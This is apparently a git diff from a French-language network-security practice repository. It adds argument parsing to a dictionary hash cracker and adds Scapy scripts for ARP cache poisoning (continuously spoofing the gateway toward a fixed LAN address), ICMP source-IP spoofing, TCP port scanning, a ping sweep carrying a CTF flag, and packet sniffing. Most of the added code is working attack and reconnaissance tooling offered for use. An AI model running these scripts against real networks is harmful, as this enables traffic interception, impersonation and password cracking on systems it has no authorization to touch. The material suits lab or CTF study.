diff options
| -rw-r--r-- | .gitignore | 1 | ||||
| -rw-r--r-- | crack_hash.py | 12 | ||||
| -rw-r--r-- | scapy/arp_poisoning.py | 22 | ||||
| -rw-r--r-- | scapy/arping.py | 2 | ||||
| -rw-r--r-- | scapy/capture.py | 12 | ||||
| -rw-r--r-- | scapy/ping.py | 24 | ||||
| -rw-r--r-- | scapy/scan_tcp.py | 17 | ||||
| -rw-r--r-- | scapy/spoof_ip.py | 13 |
8 files changed, 89 insertions, 14 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bee8a64 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +__pycache__ diff --git a/crack_hash.py b/crack_hash.py index ca68898..b49d31d 100644 --- a/crack_hash.py +++ b/crack_hash.py @@ -2,6 +2,8 @@ """crack_hash module""" import sys import hashlib +import argparse + def crack_hash(hashlist, wordlist, hashsum): @@ -22,8 +24,10 @@ def crack_hash(hashlist, wordlist, hashsum): break if __name__ == "__main__": - try: - crack_hash(sys.argv[1], sys.argv[2], sys.argv[3]) - except IndexError: - print(f"{sys.argv[0]} demande des arguments. Voir l'aide.") + parser = argparse.ArgumentParser() + parser.add_argument('hashlist', help='La liste de hash à trouver') + parser.add_argument('wordlist', help='Le dictionnaire choisi') + parser.add_argument('hashsum', help='la somme de contrôle : md5,sha256 ou sh512') + parser.parse_args() + crack_hash(sys.argv[1], sys.argv[2], sys.argv[3]) diff --git a/scapy/arp_poisoning.py b/scapy/arp_poisoning.py new file mode 100644 index 0000000..4819704 --- /dev/null +++ b/scapy/arp_poisoning.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +from scapy.all import * + +# example: +ip="192.168.2.104" +ip_gateway="192.168.2.254" + +def arp_poison(ip,ip_gateway): + matrame = Ether()/ARP(pdst=ip) + srp(matrame,timeout=2,verbose=0) + victime_arp = matrame[Ether].dst + packet=Ether(dst=victime_arp)/ARP(op="is-at", psrc=ip_gateway) + print("Ctrl-C pour arrêter l'attaque !") + sendp(packet,inter=2, loop=1) + +try: + arp_poison(ip,ip_gateway) +except PermissionError: + print(f"{sys.argv[0]} nécessite les droits root") + + diff --git a/scapy/arping.py b/scapy/arping.py index 921f999..9955e33 100644 --- a/scapy/arping.py +++ b/scapy/arping.py @@ -17,3 +17,5 @@ if __name__ == "__main__" : arpscan(sys.argv[1]) except IndexError: print(f"{sys.argv[0]} nécessite un réseau(CIDR) en ligne de commande") + except PermissionError: + print(f"{sys.argv[0]} nécessite les droits root") diff --git a/scapy/capture.py b/scapy/capture.py index 64393fc..c36b0c0 100644 --- a/scapy/capture.py +++ b/scapy/capture.py @@ -2,6 +2,14 @@ from scapy.all import * # fonction callback def packet_capture(pkt): - print(pkt[IP].src, "->",pkt[IP].dst) + if pkt.haslayer(TCP): + print(pkt[IP].src, "-> TCP",pkt[IP].dst,":",pkt[TCP].dport, pkt[TCP].flags) + elif pkt.haslayer(UDP): + print(pkt[IP].src, "-> UDP",pkt[IP].dst,":",pkt[UDP].dport) + elif pkt.haslayer(ICMP): + print(pkt[IP].src, "-> ICMP",pkt[IP].dst) -sniff(prn=packet_capture, filter="ip", count=10) +try: + sniff(prn=packet_capture, filter="ip", count=50) +except PermissionError: + print(f"{sys.argv[0]} nécessite les droits root") diff --git a/scapy/ping.py b/scapy/ping.py index 4d1aa66..6baccff 100644 --- a/scapy/ping.py +++ b/scapy/ping.py @@ -2,11 +2,19 @@ from scapy.all import * conf.verb = 0 -for ip in range(100, 255): - #packet = IP(dst="192.168.2." + str(ip), ttl=20)/ICMP() - #on peut aussi en profiter pour envoyer un flag (ctf) - MESSAGE = "code=01234" - packet = IP(dst="192.168.2." + str(ip), ttl=20)/ICMP()/MESSAGE - reply = sr1(packet, timeout=1) - if not (reply is None): - print(reply.src, "is online") + +def scanping(): + for ip in range(100, 255): + #packet = IP(dst="192.168.2." + str(ip), ttl=20)/ICMP() + #on peut aussi en profiter pour envoyer un flag (ctf) + MESSAGE = "code=01234" + packet = IP(dst="192.168.2." + str(ip), ttl=20)/ICMP()/MESSAGE + reply = sr1(packet, timeout=1) + if not (reply is None): + print(reply.src, "is online") + +if __name__ == "__main__": + try: + scanping() + except PermissionError: + print(f"{sys.argv[0]} nécessite les droits root") diff --git a/scapy/scan_tcp.py b/scapy/scan_tcp.py new file mode 100644 index 0000000..390c2b2 --- /dev/null +++ b/scapy/scan_tcp.py @@ -0,0 +1,17 @@ +#!/usr/bin/env python
+
+import sys
+from scapy.all import *
+
+def scapy_scan(host,*ports):
+ for port in ports:
+ ans,unans = sr(IP(dst=host)/TCP(sport=RandShort(),dport=int(port)),verbose=0)
+ ans.summary(lambda s,r: r.sprintf("%IP.dst% \t %TCP.sport% \t %TCP.flags%"))
+
+try:
+ scapy_scan(sys.argv[1],*sys.argv[2:])
+except PermissionError:
+ print(f"{sys.argv[0]} nécessite les droits root")
+except IndexError:
+ print(f"{sys.argv[0]} un host et des ports à scanner")
+
diff --git a/scapy/spoof_ip.py b/scapy/spoof_ip.py new file mode 100644 index 0000000..7f85786 --- /dev/null +++ b/scapy/spoof_ip.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python
+
+import sys
+from scapy.all import *
+
+def spoof_ip(spoofed_ip,dest_ip):
+ send(IP(src=spoofed_ip,dst=dest_ip)/ICMP(),count=10)
+
+if __name__ == "__main__":
+ try:
+ spoof_ip(sys.argv[1],sys.argv[2])
+ except PermissionError:
+ print(f"{sys.argv[0]} nécessite les droits root")
|
